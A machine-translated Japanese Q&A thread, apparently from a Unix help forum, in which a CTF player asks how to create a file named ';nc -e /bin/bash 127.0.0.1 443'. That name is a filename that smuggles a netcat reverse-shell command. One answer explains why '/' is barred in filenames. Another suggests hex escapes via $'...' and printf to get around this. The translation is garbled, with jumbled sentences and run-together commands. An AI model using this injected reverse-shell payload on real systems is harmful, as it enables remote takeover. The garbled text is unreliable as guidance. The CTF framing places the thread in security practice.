ファイル名から「/bin/bash」をエスケープしてください。

ファイル名から「/bin/bash」をエスケープしてください。

CTFでプレイしていて、touchコマンドを使用して名前付きファイルを作成したいが;nc -e /bin/bash 127.0.0.1 443失敗します。

問題なくというファイルを作成し、次;nc -e 127.0.0.1 443の内容を作成できます。touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3/bin/bashtouch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory

私は何が間違っていましたか?

答え1

Unixのファイル名は/パス区切り文字なので、この文字を含めることはできません。

パス名

;nc -e /bin/bash 127.0.0.1 443

bash 127.0.0.1 443binのサブディレクトリであるディレクトリから呼び出されたファイルを参照します;nc -e(末尾にスペースがあります)。

この/文字は、Unixファイル名には許可されていない2つの文字のうちの1つです。もう1つはNULL文字(ASCII 0または\0)です。 nul 文字は文字列終端文字なので、ファイル名には許可されません。

また、必須シンボルをエスケープするよりも複雑なファイル名を一重引用符で囲む方が簡単です。

touch ';nc -e 127.0.0.1 443'

答え2

;nc -e /bin/bash 127.0.0.1 443touchコマンドを使用して次のファイルを作成したいと思います。

ファイル名はeval別のスクリプトの一部ですか?

$'...'この場合、参考資料や役に立つprintfフォームを見つける必要があるかもしれません。

$ echo $'\x2fbin\x2fbash'
/bin/bash
$ printf "\x2fbin\x2fbash"
/bin/bash

それでは、ファイル名にそれを使用する方法を学ぶための練習として残しましょう。

関連情報